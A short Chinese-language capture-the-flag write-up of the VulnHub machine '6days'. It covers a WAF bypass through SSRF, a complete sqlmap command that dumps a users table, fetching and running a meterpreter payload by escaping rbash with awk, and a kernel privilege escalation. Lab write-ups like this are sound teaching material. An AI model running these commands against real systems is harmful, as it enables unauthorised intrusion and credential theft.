[vulnhub] 6days - Writeup

玄学waf+注入盒子

image 注意到8080是filtered

先看web image checkpromo.php可以POST,image.php可能有SSRF 但是WAF很讨厌 POST内容只要有单引号,就拦掉

先看SSRF image 可以读文件 但是找了一圈没啥用。。。 可以读数据库配置 image 拿ssrf探测一下localhost的端口 之前被拦的8080可以 而且内容和80一样

那么可以这样绕WAF src带入一层url编码,SSRF访问8080的checkpromo,把注入的payload再带入一层url编码 类似这样 image 即可过WAF 写tamper image

这里有个非常玄学的问题 … 请求包太长会卡10秒,然后报408错误 可以这样搞 删掉useragent 删掉referer //sqlmap把level开高会带上 删掉payload后面的几个随机字符。。。 可以通过burpsuite代理一下,然后拿正则把这些东西弄掉 这里卡了超级久…

以下是完整的sqlmap指令 sqlmap -u "http://192.168.20.192/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=PENTEST123*" --tamper=demo --dbms=mysql --technique=B -D fancydb -T users --proxy=http://127.0.0.1:8080 --dump --no-cast 结果 image 拿这账号密码登录ssh 进去是个rbash 没有回显。。。 wget下个meterpreter,找个gtfobins运行即可 image 这里不能直接跑/tmp/111 换成awk 'BEGIN {system("/tmp/111")}' 即可得到meterpreter

然后看到内核3.13.0 直接提

image 拿到root image

可以研究一下WAF image 看到80是个python 真正的web再8080上 那么WAF就是个正向代理+过滤